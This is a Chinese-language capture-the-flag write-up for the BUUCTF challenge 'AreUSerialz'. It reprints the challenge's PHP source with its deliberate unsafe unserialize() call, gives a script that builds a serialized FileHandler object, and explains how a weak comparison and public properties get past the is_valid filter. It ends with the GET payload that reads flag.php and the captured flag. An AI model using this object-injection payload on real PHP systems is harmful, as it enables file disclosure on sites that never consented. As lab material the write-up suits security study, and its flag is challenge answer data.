BUUCTF WEB [网鼎杯 2020 青龙组]AreUSerialz

BUUCTF WEB [网鼎杯 2020 青龙组]AreUSerialz

---

• 访问环境，得到源码

  <?php
  
  include("flag.php");
  
  highlight_file(__FILE__);
  
  class FileHandler {
  
      protected $op;
      protected $filename;
      protected $content;
  
      function __construct() {
          $op = "1";
          $filename = "/tmp/tmpfile";
          $content = "Hello World!";
          $this->process();
      }
  
      public function process() {
          if($this->op == "1") {
              $this->write();
          } else if($this->op == "2") {
              $res = $this->read();
              $this->output($res);
          } else {
              $this->output("Bad Hacker!");
          }
      }
  
      private function write() {
          if(isset($this->filename) && isset($this->content)) {
              if(strlen((string)$this->content) > 100) {
                  $this->output("Too long!");
                  die();
              }
              $res = file_put_contents($this->filename, $this->content);
              if($res) $this->output("Successful!");
              else $this->output("Failed!");
          } else {
              $this->output("Failed!");
          }
      }
  
      private function read() {
          $res = "";
          if(isset($this->filename)) {
              $res = file_get_contents($this->filename);
          }
          return $res;
      }
  
      private function output($s) {
          echo "[Result]: <br>";
          echo $s;
      }
  
      function __destruct() {
          if($this->op === "2")
              $this->op = "1";
          $this->content = "";
          $this->process();
      }
  
  }
  
  function is_valid($s) {
      for($i = 0; $i < strlen($s); $i++)
          if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
              return false;
      return true;
  }
  
  if(isset($_GET{'str'})) {
  
      $str = (string)$_GET['str'];
      if(is_valid($str)) {
          $obj = unserialize($str);
      }
  
  }
  

• 分析源代码可知这是一个反序列化漏洞，构造脚本

  <?php
  
  class FileHandler {
  
      public $op =2;
      public $filename = "flag.php";
      public $content;
  
  }
  
  $str = new FileHandler();
  echo serialize($str);
  
  // O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
  

  这里解释一下，$op在‘process‘函数中使用了弱类型比较，可以将其赋值为2，与"2"等价，从而绕过‘i{s}_{v}alid‘函数的过滤。同时，若是$op等属性为protected，则其序列化后一定会出现%00，这里我们需要利用PHP7.1+对属性类型不敏感的特性，将属性改为public即可绕过is_valid函数的过滤。

• 构造payload

  /?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
  

  查看网页源代码，得到flag

  flag{a851c5cd-be0a-4522-ba5a-38a206180262}